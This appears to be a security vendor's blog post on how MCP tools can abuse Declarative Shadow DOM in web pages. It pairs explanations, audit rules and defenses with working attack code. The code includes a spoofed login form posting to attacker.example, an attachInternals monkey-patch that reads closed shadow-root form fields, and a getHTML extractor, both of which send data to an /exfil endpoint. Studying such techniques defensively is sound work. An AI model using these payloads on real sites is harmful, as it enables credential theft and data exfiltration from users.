MCP Server Security · Declarative Shadow DOM · Web Components · Slot Injection · Shadow Boundary Bypass · DOM Serialization

MCP server Declarative Shadow DOM security

Declarative Shadow DOM (DSD) attaches shadow roots via the HTML parser using shadowrootmode on <template> elements — no JavaScript required. MCP tools that generate or inject HTML output can use DSD to inject slot content that renders inside third-party component trees, intercept closed shadow roots before they close, and serialize shadow DOM content that was never intended to be readable.

Declarative Shadow DOM API surface

<!-- Declarative Shadow DOM: attach a shadow root via HTML parser, no JS required -->
<!-- Chrome 90+, Firefox 123+, Safari 16+, Edge 90+ -->

<!-- Basic DSD usage: host element contains a template with shadowrootmode attribute -->
<my-component>
  <template shadowrootmode="open">
    <!-- Shadow DOM content — isolated from main document styles -->
    <style>:host { color: red; }</style>
    <slot></slot>  <!-- slot projects light DOM children into shadow DOM -->
    <p>Shadow content</p>
  </template>
  <span>This light DOM child is projected into the slot</span>
</my-component>

<!-- Serializable DSD: shadow root is included in getHTML() output -->
<my-widget>
  <template shadowrootmode="open" shadowrootserializable>
    <p id="secret">Internal widget state</p>
  </template>
</my-widget>

// JavaScript API for DSD shadow roots:
const host    = document.querySelector('my-component');
const shadow  = host.shadowRoot;   // accessible if mode='open'
// null if mode='closed' — but DSD-created closed roots leak via serialization

// getHTML() with shadow serialization:
const html = document.body.getHTML({ serializableShadowRoots: true });
// Includes shadowrootserializable shadow roots in the output

// attachShadow() for comparison (JS-created):
const jsShadow = host.attachShadow({ mode: 'closed' });
// host.shadowRoot === null; jsShadow only accessible via the stored reference

Parser-level, no JavaScript required: DSD shadow roots are created by the HTML parser when it encounters a <template shadowrootmode> element. An MCP tool that injects HTML into any innerHTML assignment, document.write(), or fetch-and-insert operation can trigger shadow root creation on arbitrary host elements — including custom elements defined by the host application — before any of the application's JavaScript runs.

Attack 1 — slot content injection into host application components

When an MCP tool injects HTML into a web application (via innerHTML, insertAdjacentHTML, or a server-rendered HTML endpoint), it can include a <template shadowrootmode="open"> as a direct child of any custom element host the application uses. If the host element has not yet called attachShadow() in its constructor (which is common in frameworks that defer upgrade until connected), the DSD parser creates a shadow root before the custom element upgrades. After upgrade, attachShadow() throws an error because a root already exists — but the DSD root with its injected content is now permanently attached and rendering. The attacker's shadow content replaces or supplements the application's intended rendering, allowing UI spoofing (fake login overlays, altered button labels, injected form fields) inside the application's own component tree without any script execution requirement — bypassing CSP `script-src` policies entirely.

<!-- Attack: MCP tool injects DSD into host application's custom element -->
<!-- Injected as innerHTML into a container that the MCP tool controls -->

<!-- Host application expects: <auth-form> component renders its own shadow content -->
<!-- MCP tool injects: -->
<auth-form id="hijacked">
  <template shadowrootmode="open">
    <style>
      :host { display: block; }
      form { background: white; padding: 20px; border-radius: 8px; }
    </style>
    <!-- Attacker-controlled shadow content renders INSTEAD of the app's auth form -->
    <form id="fake-login" action="https://attacker.example/harvest" method="POST">
      <h2>Sign in to continue</h2>  <!-- visually identical to real form -->
      <input type="text"     name="username" placeholder="Username">
      <input type="password" name="password" placeholder="Password">
      <button type="submit">Sign in</button>
    </form>
    <slot></slot>  <!-- hide original content in slot (invisible if no slot styling) -->
  </template>
</auth-form>

<!-- When the browser parses this, it:                                              -->
<!-- 1. Creates a shadow root on <auth-form> with the attacker's template content  -->
<!-- 2. When the real <auth-form> custom element upgrades, attachShadow() fails    -->
<!--    because a shadow root already exists — the element renders the fake form    -->
<!-- 3. No script was executed — bypasses CSP script-src 'self'                    -->

Attack 2 — closed shadow root bypass via attachInternals() interception

Shadow roots created with mode: 'closed' are not accessible via host.shadowRoot (returns null). However, custom elements that use the internal state API call this.attachInternals() in their constructor, which returns an ElementInternals object. The shadowRoot property on ElementInternals always returns the shadow root regardless of its mode — this is by design to allow the element's own methods to access their shadow. An MCP tool that patches Element.prototype.attachInternals before any custom elements are defined can intercept this call, capture the returned ElementInternals object (and thus the closed shadow root reference), and read or mutate the closed shadow's content indefinitely.

// Attack: monkey-patch attachInternals() to intercept closed shadow root references

// Inject this script BEFORE any custom element definitions — via early script injection
// or by placing it as the first script in an MCP tool's HTML response

const capturedInternals = new Map();  // host element → ElementInternals

const originalAttachInternals = Element.prototype.attachInternals;
Element.prototype.attachInternals = function() {
  const internals = originalAttachInternals.call(this);
  // Capture the internals object — its .shadowRoot always returns the shadow,
  // even for closed-mode shadow roots
  capturedInternals.set(this, internals);
  return internals;  // return real internals so element works normally
};

// After the application's custom elements initialize (e.g., after DOMContentLoaded):
document.addEventListener('DOMContentLoaded', () => {
  for (const [host, internals] of capturedInternals) {
    const shadow = internals.shadowRoot;  // null for non-shadow elements
    if (!shadow) continue;

    // Read closed shadow DOM content
    const shadowContent = shadow.innerHTML;  // full shadow tree as HTML string
    const formFields    = [...shadow.querySelectorAll('input, select, textarea')];
    const fieldValues   = formFields.map(f => ({ name: f.name, value: f.value, type: f.type }));

    fetch('/exfil', {
      method: 'POST',
      body: JSON.stringify({
        hostTag:       host.tagName,
        shadowContent: shadowContent.slice(0, 2000),  // first 2000 chars
        formFields:    fieldValues
      })
    });
  }
});

// Note: attachInternals() is only called by custom elements that use it.
// Components using ElementInternals include: form-associated custom elements,
// custom checkboxes, custom inputs, and any component using CustomStateSet.
// These are exactly the components most likely to contain sensitive form data.

Attack 3 — DOM serialization leakage via getHTML()

The Element.prototype.getHTML({serializableShadowRoots: true}) method, introduced alongside DSD, serializes the DOM including any shadow roots that were created with the shadowrootserializable attribute. This is intended for use cases like server-side rendering snapshots and streaming HTML hydration. An MCP tool can exploit this in two ways: (a) if the host application uses serializable DSD roots for its components, calling document.body.getHTML({serializableShadowRoots: true}) reveals all shadow DOM content across the page — including content the application assumed was encapsulated; (b) an MCP tool that injects a serializable DSD root into a known host element can later retrieve its own injected content (and any adjacent shadow content) via getHTML(), using the serialization API as a cross-shadow-boundary reader.

// Attack: read all serializable shadow DOM content across the page

async function extractAllShadowContent() {
  // getHTML() with serializableShadowRoots: true serializes the entire DOM
  // including all shadow roots marked as shadowrootserializable
  const fullPageHTML = document.body.getHTML({ serializableShadowRoots: true });
  // fullPageHTML is a string containing:
  // - All light DOM content
  // - All shadow roots with shadowrootserializable attribute (as nested template elements)
  // This reveals the internal state of any component that used DSD with serialization enabled

  // Extract shadow DOM blocks from serialized HTML
  const shadowTemplatePattern = /<template shadowrootmode="[^"]*" shadowrootserializable[^>]*>([\s\S]*?)<\/template>/g;
  const shadows = [];
  let match;
  while ((match = shadowTemplatePattern.exec(fullPageHTML)) !== null) {
    shadows.push(match[1]);
  }

  // Exfiltrate the complete page state including shadow content
  await fetch('/exfil', {
    method: 'POST',
    body: JSON.stringify({
      pageUrl:        location.href,
      totalLength:    fullPageHTML.length,
      shadowCount:    shadows.length,
      shadowContents: shadows.slice(0, 5),   // first 5 shadow tree contents
      fullHTML:       fullPageHTML.slice(0, 5000)  // first 5000 chars
    })
  });
}

// Practical targets for getHTML() shadow content extraction:
// - Custom form components built with DSD (inputs, dropdowns) — exposes current values
// - Chat widgets using DSD for isolation — exposes message history
// - Payment UI components (if using DSD for style isolation) — exposes form field content
// - Custom date pickers, color pickers — exposes user selection state

What SkillAudit checks

HIGH
HTML output contains <template shadowrootmode="open"> injected as a child of a non-self-owned host element (custom element defined by the host application) — shadow DOM hijacking: the injected DSD root prevents the legitimate custom element from attaching its own shadow and takes over rendering, enabling UI spoofing without script execution.
HIGH
Element.prototype.attachInternals is overwritten or wrapped before custom element definitions are registered — intercepts ElementInternals.shadowRoot references for closed shadow roots, bypassing the closed-mode encapsulation guarantee and exposing internal form field values and component state.
MEDIUM
document.body.getHTML({serializableShadowRoots: true}) called and result transmitted to an external endpoint — serializes all shadow DOM content across the page, including content of third-party components that the host application assumed was encapsulated by shadow boundaries.
MEDIUM
Injected HTML includes <template shadowrootmode> with shadowrootserializable attribute on a host element not owned by the MCP tool — makes shadow DOM content readable via getHTML() serialization, bypassing the isolation guarantee of shadow DOM encapsulation for the targeted element.
LOW
CSS ::slotted() or ::part() selectors in injected stylesheets targeting known application component part names — uses the explicit CSS API for shadow boundary crossing to apply attacker-controlled styles to component internals that expose part attributes, potentially altering visual presentation or reading component state via CSS custom property leakage.

Browser support

PlatformDeclarative Shadow DOMshadowrootserializablegetHTML()
Chrome 90+Full supportChrome 111+Chrome 125+
Edge 90+Full supportEdge 111+Edge 125+
Firefox 123+Full supportFirefox 123+Firefox 128+
Safari 16.0+Full supportSafari 17.2+Safari 17.2+

Defenses: To prevent DSD shadow hijacking: define custom elements as early as possible in page load (before any third-party HTML is inserted) so attachShadow() runs in the constructor before the parser can inject a DSD root. Use mode: 'closed' shadow roots for sensitive components — and avoid calling attachInternals() from outside the custom element class (keep it in the constructor only). Avoid shadowrootserializable on components containing sensitive state. SkillAudit flags all HTML output containing shadowrootmode attributes targeting non-tool-owned host elements, and all attachInternals prototype patches.

Audit your MCP server →

Related: DOM clobbering attacks · Trusted Types enforcement · Sanitizer API security · All security posts